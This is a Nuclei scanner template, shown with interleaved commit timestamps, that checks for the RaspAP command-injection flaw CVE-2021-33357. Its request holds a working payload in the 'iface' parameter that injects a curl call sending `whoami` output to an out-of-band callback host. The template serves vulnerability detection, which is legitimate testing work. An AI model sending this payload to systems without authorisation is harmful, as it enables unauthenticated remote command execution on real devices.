2021-10-03 12:37:22 +00:00
id : CVE-2021-33357
info :
2022-05-18 20:58:07 +00:00
name : RaspAP <=2.6.5 - Remote Command Injection
2021-10-03 20:37:21 +00:00
author : pikpikcu,pdteam
2021-10-03 12:37:22 +00:00
severity : critical
2022-03-14 10:39:08 +00:00
description : |
2022-05-18 20:58:07 +00:00
RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
2021-10-03 12:37:22 +00:00
reference :
2021-10-03 20:37:21 +00:00
- https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
2021-10-03 12:37:22 +00:00
- https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
2021-10-03 20:37:21 +00:00
- https://github.com/RaspAP/raspap-webgui
2022-05-18 20:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-33357
2021-10-03 20:44:21 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-10-03 20:44:21 +00:00
cve-id : CVE-2021-33357
cwe-id : CWE-78
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
epss-score : 0.96752
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,rce,raspap,oast
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2021-10-03 12:37:22 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-03 12:37:22 +00:00
- method : GET
path :
2022-08-24 08:56:43 +00:00
- "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"
2021-10-03 12:37:22 +00:00
2022-03-14 10:39:08 +00:00
matchers-condition : and
2021-10-03 12:37:22 +00:00
matchers :
2021-10-03 20:37:21 +00:00
- type : word
part : interactsh_protocol
words :
- "http"
2022-03-14 10:39:08 +00:00
- type : word
words :
- "DHCPEnabled"
2021-10-03 20:37:21 +00:00
extractors :
2021-10-03 17:11:42 +00:00
- type : regex
2021-10-03 20:37:21 +00:00
part : interactsh_request
group : 1
2021-10-03 17:11:42 +00:00
regex :
2022-05-18 20:58:07 +00:00
- 'GET \/([a-z-]+) HTTP'
# Enhanced by mp on 2022/05/18